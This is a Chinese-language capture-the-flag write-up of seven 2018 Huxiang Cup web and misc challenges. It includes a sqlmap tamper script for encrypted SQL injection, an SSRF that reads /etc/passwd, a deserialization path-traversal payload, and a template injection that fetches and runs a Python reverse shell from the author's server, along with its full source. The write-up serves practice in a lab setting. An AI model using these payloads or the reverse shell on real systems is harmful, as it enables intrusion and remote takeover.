2018湖湘杯web、misc記錄

          

1.題目名 Code Check

 

 

    打開題目,右鍵發現有id參數的url,簡單base64解碼以後發現不是明文,說明利用了其他的加密方式,那麼應該會有具體的加密方式給我們,於是試試常見的文件泄露,可以發現list.zip,打開發現是具體的解密邏輯與查詢邏輯。

    

 

    有了解密邏輯我們就可以逆着寫出加密邏輯,另外id參數明顯存在注入,只需要寫一個加密的sqlmap的tamper腳本,然後放到sqlmap的tamper目錄下就可以了,之後在sqlmap裏跑一跑就可以出flag

 

          下面是改過的tamper腳本

#!/usr/bin/env python

"""

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)

See the file 'LICENSE' for copying permission

"""

import base64

from Crypto.Cipher import AES

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

 

__priority__ = PRIORITY.LOWEST

 

def dependencies():

    pass

 

def encrypt(text):

    padding = '\0'

    key = 'ydhaqPQnexoaDuW3'

    iv = '2018201920202021'

    pad_it = lambda s: s+(16 - len(s)%16)*padding

    cipher = AES.new(key, AES.MODE_CBC, iv)

    text = text + 'hxb2018'

    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):

         return encrypt(payload)

 

 

 

2.題目名 Flow

         題目是個流量包,802.11的,數據包是加密的,所以嘗試一下能不能爆破出來key來解密一下上層的其他數據包來找flag,一般做無線的題目需要用到aircrack-ng這個無線破解工具。

   首先需要一個弱密碼的字典,然後運行 aircrack-ng -w 字典名 + 流量包,運氣比較好剛好爆破出來了key爲password1

 

 

    有了key就能導入到wireshark裏面對wpa加密的無線數據包進行解密

 

 

                 解密之後在導出http對象中發現flag

 

 

    

 

 

3.題目名 readflag

    ssrf的題目,首先讀了下/etc/passwd沒有什麼有用的東西,所以繼續讀一下/etc/hosts發現內網裏面有兩臺主機

 

 

 

 

 

     經過簡單測試,發現題目的內網主機號爲230,另一臺內網機器的主機號是183,所以嘗試讀一下另一個機器上的文件,首先讀一下apache的配置文件,發現如下路徑樹

 

 

     又因爲http的網站在站點的配置文件下有默認的000-default.conf,所以嘗試訪問如下:

 

 

           發現了web的源碼路徑,直接讀取

 

 

    發現路徑/var/www/html/ssrf/readflag,嘗試訪問是個elf,一堆亂碼,所以用wget下載這個elf,然後ida裏面加載一下發現如下:

 

 

    所以更改一下路徑,讀取如下,得到flag

 

 

4.題目名 mynote

        這是一道反序列化的題目,在我們註冊登陸以後,在抓包中發現picture參數有問題,base64解碼發現其爲序列化的數據,所以猜測是否其存在反序列化漏洞,我們上傳一個jpg文件

 

 

   又因爲後端會訪問我們上傳的圖片並會返回到前端,所以嘗試是否可以讀取任意文件,上傳1.jpg以後,抓包並且改爲payload爲a:1:{i:0;s:14:”../../flag.php”;},然後放包如下圖所示,可以看到一串base64編碼

 

 

 

解密後就能看到flag如上圖所示

 

5. 管理員的flag在哪裏?

       註冊登陸後,在添加標題那裏剛開始選擇“是”這個選項,以爲是xss,但是沒效果,於是選擇“否”,添加標題後發現有show頁面,嘗試了一下模板注入的payload

 

 

 

 

 

 

       返回了9說明的確存在模板注入,於是嘗試是否可以執行命令

構造payload如下:

 

 

     返回的值證明可以執行命令,又繼續嘗試了一下curl和wget 都能使用,所以嘗試反彈一下shell試試,在vps上監聽一下端口,使用exp下載vps上的shell.py文件並執行,構造以下payload:

 

 

 

shell如下:

#!/usr/bin/env python

#coding:utf-8

 

import os

import pty

import socket

lhost = "xx.xx.xx.xx" #vps的ip地址

lport = 21192 #vps的端口

 

def main():

    s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect((lhost,lport))

    os.dup2(s.fileno(),0)

    os.dup2(s.fileno(),1)

    os.dup2(s.fileno(),2)

    pty.spawn('/bin/bash')

    s.close()

 

main()

 

 

                分別show以上的兩條payload以後就能夠拿到shell,在Xme0目錄下存在auto.js 查看它如下圖所示得到flag

 

6.disk

 下載一個是一個vmdk文件,首先看看能不能提取出來啥東西,這裏需要用到7z

 

 

 

    提取出來裏面有四個flag文件,但是打開並不是flag,隊友說可能跟NTFS隱藏數據流有關係,所以百度一波,在網上找到如下工具

 

 

 

能夠檢測出隱藏在文件中的NTFS數據流,搜索一下果然找到了可疑的數據流

 

 

    百度到ads原來是可以隱藏後門的,於是分別打開四個flag文件

 

 

 

        打開flag1.txt後是一段二進制,在線將其轉化爲字符串試試

 

 

           發現是flag,所以繼續轉換後面的三個文件中的二進制文件並轉換就可以得到flag

 

 

7.Hidden Write

   首先拿到圖片先binwalk一下,發現什麼都沒有

 

 

    然後strings一下圖片

 

 

    結尾發現flag的一部分字符串78cd89c18c

    肯定在別的地方還有flag的其他部分,所以用16進制編輯器看看圖片,發現其有三個圖片其中兩張圖片沒有頭部的前8個字節,所以把兩張圖片摳出來加上頭部,就變成3張圖片了

 

 

      此時掏出stegsolve來給三張圖片用一用,在第二張圖中發現了bgr通道的lsb隱寫

 

 

     hxb2018{1e30f3b836d78d25c ,由此得到了flag的另一個部分,此時明顯還少最後一個部分,此時有三張圖片當然想到用盲水印,以前在比賽中遇到過,所以用下圖所示的工具試試:

 

 

 

 

       由於有3張圖片所以需要兩兩結合來花費3次來嘗試

 

 

 

 

    由此得到flag的最後一段爲20b4a}

    最後拼接得到flag:

hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章